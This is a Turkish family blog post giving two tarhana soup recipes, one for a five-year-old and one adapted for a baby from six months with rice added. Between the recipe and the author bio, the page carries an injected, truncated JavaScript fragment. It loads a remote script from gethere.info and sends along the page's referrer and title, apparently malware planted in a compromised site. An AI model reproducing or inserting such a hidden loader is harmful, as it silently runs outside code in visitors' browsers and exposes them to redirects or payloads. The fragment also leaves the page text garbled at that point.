Yoğurt, domates, biber, soğan, un, nane ve maydanoz. Bu karışımlardan oluşmuş hem de hazır çorba kadar yapımı kolay bir çorba tarhana çorbası.

Çorba aynı çorba ama benim 2 ufaklık için tarifleri farklı farklı. Nasıl mı?

Emre’nin tarhana çorbası malzemeleri; (5 yaş)

  • Tarhana
  • Domates
  • Kemikli kuzu eti
  • Tereyağ
  • Su
  • Tuz

Emre’nin tarhana çorbası tarifi;

Tarhanayı ılık suda eritiyorum. Bu arada kemikli kuzu etini tercihen kaburga alıyorum suda iyice haşlıyorum. Ayrı bir tencerede tereyağda rendelediğim domatesleri tuz katarak kısık ateşte 2-3 dk öldürdükten sonra et suyunu katıyorum, su kaynadıktan sonra da kasede erittiğim tarhanayı. Hazır çorba gibi sürekli karıştırarak pişiriyorum.

Çorbadaki tanelere hassasiyeti olan oğlum için çorbayı blenderdan geçiriyorum.

Kerem’in tarhana çorbası malzemeleri; (6 ay dan itibaren)

  • Tarhana
  • Domates
  • Kemikli kuzu eti
  • Tereyağ
  • Su
  • Pirinç

Kerem’in tarhana çorbası tarifi;

Aynen Emre’deki gibi hazırlıyorum. 1 yaşa kadar tuz eklemedim. Sadece tarhanayı pişirirken paralelinde küçük bi cezvede biraz da pirinç haşlıyorum. Birlikte pişmiyorlar. Tarhana çabuk olduğundan pirinçler kıtır kıtır kalıyor. Ben denedim, siz denemeyin 🙂 En son çorbada tane hassasiyetini geçin tane istiyen Kerem için bu haşlanmış pirinçle tarhana çorbasını karıştırıyorum

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript);}

About The Author

3 erkek aşığı bir çatlak mühendis anne --> https://twitter.com/gulaytayfur

Leave a Reply

Your email address will not be published.